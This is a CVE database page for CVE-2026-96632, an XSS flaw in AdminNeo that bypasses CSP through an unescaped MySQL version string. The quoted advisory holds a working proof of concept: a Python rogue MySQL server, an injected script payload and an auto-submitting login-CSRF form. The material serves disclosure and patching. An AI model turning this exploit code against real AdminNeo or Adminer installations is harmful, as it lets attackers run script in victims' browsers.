HOL LogoGuard

Explore HOL

  • HOL home
  • AI agent registry
  • AI plugins
  • Open standards
  • HOL members
  • Sponsor HOL
  • Advertise with HOL

Guard product

  • Guard overviewLocal security and control for AI agents and the tools they use.
  • FeaturesRuntime protection, policy routing, review, and evidence.

Explore Guard

  • Product previewWalk through Guard surfaces in read-only demo mode.
  • ComparisonCompare Guard with native controls and AI security vendors.

AI tools

  • All AI toolsEvery supported AI tool and how Guard applies policy to it.
  • Codex
  • Claude Code
  • Cursor
  • Antigravity CLI
  • OpenCode
  • Hermes
  • OpenClaw
  • GitHub Copilot CLI
  • Antigravity
  • Kimi
  • Grok
  • Pi / Oh My Pi
  • Zcode

Extensions

  • All extensionsBrowse command and MCP coverage with owners and stated limits.
  • Command coverageShell command protection across clouds, databases, backups, and packages.
  • MCP server coverageSee how Guard maps risk state across MCP tools and servers.
  • Core safetyThe safety floor listings that ship with Guard.
  • Data and resilienceBackup and storage command protection.
  • Cloud and infrastructureAWS, Azure, GCP, Kubernetes, and more.

Security

  • AI security hubSecurity research, advisories, and agent safety coverage.
  • AI tool securitySecurity profiles for each supported coding agent.
  • Safe labsHands-on attack simulations with safe boundaries.
  • Redacted warningsReal blocked actions with sensitive details removed.
  • AdvisoriesCoordinated disclosure reports for AI tooling.
  • Active CVEsSearch active CVEs affecting AI tooling.

Learn

  • Security guidesPractical guides for securing AI agent workflows.
  • DocsInstall, configure, and operate Guard with confidence.
  • ResearchPublished security research, benchmarks, and methodology.

Community

  • ReleasesVersion history, shipped changes and upgrade notes.
  • ContributorsThe people and contributions behind HOL Guard.
  • AffiliatesShare Guard with your audience and earn from referrals.
  • SponsorFund agreed research, implementation and shared testing through the HOL Partner Program.
  • AdvertiseCompare README logo placements, previews and monthly prices, or promote a plugin or extension.
PricingEnterpriseOpen AppInstall Guard
  1. Guard
  2. Security
  3. CVEs
  4. CVE 2026 96632 adminneo vulnerable to xss via rogue mysql server
HOL Guard

Public security guidance for teams protecting AI harnesses, MCP servers, skills, prompts, and local tool execution.

Install Guard

AI Security

  • Prompt injection
  • MCP security
  • OWASP MCP mapping
  • Supply chain

Resources

  • Trust packet
  • Harness setup
  • Redacted warnings
  • Safe labs

Product

  • Install Guard
  • Pricing
  • Open dashboard
Guard
  • Guard Overview
  • Releases
  • Contributors
  • Install Guard
  • Pricing
Docs
  • Documentation Index
  • Developer Hub
  • API Reference
  • Root OpenAPI
  • Registry OpenAPI
  • Run in Postman
  • Standards
  • Submit ERC-8004 Contract
  • Feature Your Agent
Best Plugins
  • Browse Plugins
  • Plugin Launches
  • Best Claude Plugins
  • Best Codex Plugins
  • Best Grok Plugins
  • Best Kimi Plugins
  • Best DeepSeek Plugins
  • Best Antigravity Plugins
  • Best MCP Servers
  • Best Cursor Plugins
  • Best OpenCode Plugins
Best Agents
  • Best ERC-8004 Agents
  • Best Virtuals Agents
  • Best MCP Servers
  • Best A2A Agents
  • Best x402 Payable
  • All Categories
Community
  • Telegram
  • X
More
  • About HOL
  • Sponsor
  • Advertise
  • Contact
  • Blog
  • GitHub
  • Privacy
  • Terms of Service
Settings

Copyright © 2026 HOL DAO LLC. All rights reserved.

Back to active CVEs
High severityCVE-2026-96632GHSA-RX7M-WXWQ-VXR9

AdminNeo Vulnerable to XSS via Rogue MySQL Server Version String (CSP Nonce Bypass)CVE-2026-96632

Answer in brief

CVE-2026-96632 records a High severity vulnerability in AdminNeo Vulnerable to XSS via Rogue MySQL Server Version String (CSP Nonce Bypass). The current sources do not mark it as known exploited. The current feed maps adminneo-org/adminneo (composer), adminneo-org/adminneo (composer). Check affected ranges and fixed versions before updating.

Analysis pending evidence review

HOL Guard separates source facts from reviewed analysis. See the methodology.

Published Oct 30, 2026Updated Oct 30, 2026Source checked Oct 30, 2026First seen by HOL Oct 30, 2026Material review Oct 30, 2026
Upstream Advisory

Key facts

Risk
High
Exploitation
Not marked as known exploited
Affected software
2 mapped packages or products
Fix availability
Available

Why this deserves its current priority

A CVSS score is not reported in the current record. The current sources do not mark it as known exploited. Treat this as a source-backed prioritization signal, not a statement about your environment.

Analysis status

Analysis pending evidence review

Factual feed record only; HOL analysis is not approved for indexing. Read the methodology.

Affected scope and exposure questions

The current feed maps adminneo-org/adminneo (composer), adminneo-org/adminneo (composer). Check affected ranges and fixed versions before updating.

Mapped affected packages and fixed versions
PackageAffected rangeFixed version
adminneo-org/adminneocomposer<5.5.15.5.1
adminneo-org/adminneocomposer<5.5.15.5.1

Recommended response

  1. 1Check inventory. Check lockfiles and deployed manifests for adminneo-org/adminneo, adminneo-org/adminneo.
  2. 2Review the reported fix. Update adminneo-org/adminneo to 5.5.1; adminneo-org/adminneo to 5.5.1 if you use the affected versions. Test the change in a non-production environment first.

Evidence timeline and material changes

  1. Published upstream

    Oct 30, 2026

    Evidence: source:ghsa:source_dates:source-dates:record
  2. Source modified

    Oct 30, 2026

    Evidence: source:ghsa:source_dates:source-dates:record
  3. First seen by HOL

    Oct 30, 2026

Sources and claim methodology

  • GitHub security advisorygithub.com
  • GitHub security advisorygithub.com
  • GitHub security advisorygithub.com
  • GitHub security advisorygithub.com
  • GitHub security advisorygithub.com
Upstream source description

## Summary AdminNeo inserts the database server's version string into a `<script>` tag that carries a valid CSP nonce, without any sanitization. A rogue database server can return a crafted version string that breaks out of the JavaScript context and executes arbitrary code. Because the script tag already has a valid nonce, the browser's Content Security Policy does not block execution. No authentication is required when combined with Login CSRF. Originally reported in Adminer: https://github.com/vrana/adminer/security/advisories/GHSA-h6jr-7pr6-grgj ## Prerequisites - Target runs AdminNeo - Attacker controls a reachable MySQL server (a 80-line Python script) ## Root Cause `admin/core/Admin.php`, lines 1285-1286: ```php echo script("let autocompletion;\nwindow.addEventListener('DOMContentLoaded', () => { initSyntaxHighlighting('" . Connection::get()->getVersion() . "', '" . Connection::get()->getFlavor() . "', autocompletion); });"); ``` `script()` wraps the output in `<script nonce="VALID_NONCE">`. Return value of `Connection::get()->getVersion()` is not escaped. ## Steps To Reproduce ### 1. Build the environment **Dockerfile** (AdminNeo): ```dockerfile FROM php:8.3-cli COPY adminneo.php /var/www/adminneo.php WORKDIR /var/www EXPOSE 8081 CMD ["php", "-S", "0.0.0.0:8081"] ``` **rogue_mysql.py** (fake MySQL server that accepts any login): ```python import socket, struct, threading PAYLOAD = "1');alert(origin)//" # Capability flags the client expects CAP_PROTOCOL_41 = 0x0200 CAP_SECURE_CONNECTION = 0x8000 CAP_PLUGIN_AUTH = 0x00080000 CAPS_LOW = CAP_PROTOCOL_41 | CAP_SECURE_CONNECTION CAPS_HIGH = (CAP_PLUGIN_AUTH >> 16) def make_packet(seq, payload): length = struct.pack("<I", len(payload))[:3] return length + bytes([seq]) + payload def make_greeting(version_str): pkt = b"\x0a" # protocol version 10 pkt += version_str.encode() + b"\x00" # version string pkt += struct.pack("<I", 1) # connection id pkt += b"\x41" * 8 # auth plugin data part 1 pkt += b"\x00" # filler pkt += struct.pack("<H", CAPS_LOW) # capability flags lower pkt += b"\x21" # charset utf8 pkt += struct.pack("<H", 0x0002) # status flags pkt += struct.pack("<H", CAPS_HIGH) # capability flags upper pkt += b"\x15" # auth data length (21) pkt += b"\x00" * 10 # reserved pkt += b"\x41" * 12 + b"\x00" # auth plugin data part 2 pkt += b"mysql_native_password\x00" # auth plugin name return make_packet(0, pkt) def make_ok(seq): pkt = b"\x00" # OK marker pkt += b"\x00" # affected rows pkt += b"\x00" # last insert id pkt += struct.pack("<H", 0x0002) # status flags pkt += struct.pack("<H", 0) # warnings return make_packet(seq, pkt) def make_eof(seq): pkt = b"\xfe" pkt += struct.pack("<H", 0) # warnings pkt += struct.pack("<H", 0x0002) # status flags return make_packet(seq, pkt) def make_err(seq, msg=b"not supported"): pkt = b"\xff" pkt += struct.pack("<H", 1045) pkt += b"#HY000" pkt += msg return make_packet(seq, pkt) def handle(conn): conn.sendall(make_greeting(PAYLOAD)) try: conn.recv(4096) # client login request except Exception: conn.close() return conn.sendall(make_ok(2)) # accept login # Answer any queries Adminer sends after login while True: try: data = conn.recv(4096) if not data: break seq = data[3] + 1 # Send ERR for all queries (Adminer still has the version in memory) conn.sendall(make_err(seq)) except Exception: break conn.close() srv = socket.socket() srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) srv.bind(("0.0.0.0", 3307)) srv.listen(5) print("[*] Rogue MySQL on :3307 - version: " + PAYLOAD) while True: conn, addr = srv.accept() print(f"[+] Connection from {addr}") threading.Thread(target=handle, args=(conn,)).start() ``` ```shell # Terminal 1: start Adminer docker build -t adminer-xss . docker run -d -p 8081:8081 --name adminer-xss adminer-xss # Terminal 2: start rogue MySQL python3 rogue_mysql.py ``` ### 2. Trigger the XSS Open a browser and navigate to `http://localhost:8081/adminneo.php`: 1. Select driver: **MySQL** 2. Server: `HOST_IP:3307` (IP of the machine running rogue_mysql.py) 3. Username: `root` 4. Password: `x` 5. Click Login. The rogue server accepts the login. AdminNeo renders the dashboard and includes: ```html <script nonce="REAL_NONCE">let autocompletion; window.addEventListener('DOMContentLoaded', () => { initSyntaxHighlighting('1');alert(origin)//', 'mysql', autocompletion); });</script> ``` The browser executes `alert(origin)` with full CSP bypass because the script tag carries a valid nonce. ### 3. Trigger it via Login CSRF The login form has no CSRF token. An attacker page auto-submits the login, forcing the victim's browser to connect to the rogue server: ```html <form id="f" method="POST" action="http://TARGET/adminneo.php"> <input name="auth[driver]" value="mysql"> <input name="auth[server]" value="ROGUE_IP:3307"> <input name="auth[username]" value="root"> <input name="auth[password]" value="x"> </form> <script>document.getElementById('f').submit()</script> ``` ## Collaborator Request This vulnerability was discovered jointly with Yashar Shahinzadeh (GitHub: @Voorivex). Could you please add him as a collaborator on this advisory and credit him as a co-discoverer? Thank you!

Quoted source text, attributed separately from HOL analysis.

Related CVEs

  • AdminNeo: CSRF Token Secret Recoverable from Single Observed Token, Enabling Cross-Site Request ForgerySame adminneo-org/adminneo package
  • AdminNeo: RCE via SQLite VACUUM INTO (ATTACH Blocklist Bypass)Same adminneo-org/adminneo package
  • AdminNeo has Cookie Attribute Injection via Unsanitized X-Forwarded-Prefix in Set-Cookie HeadersSame adminneo-org/adminneo package
  • AdminNeo SQLite Database-List Drop Arbitrary File DeletionSame adminneo-org/adminneo package
  • AdminNeo SQLite: multi_query Incorrect Check of Function Return Value RCESame adminneo-org/adminneo package
  • PDF Invoices & Packing Slips for WooCommerce 5.16.2 - 5.16.4 - Unauthenticated Stored XSS via Order Address and Customer Note FieldsAlso CWE-79

Record context

Vulnerability class
XSS
EPSS
Not reported
CWE IDs
CWE-79
Source
GitHub Security Advisories
Source checked
Oct 30, 2026
References
5 linked sources
Open source record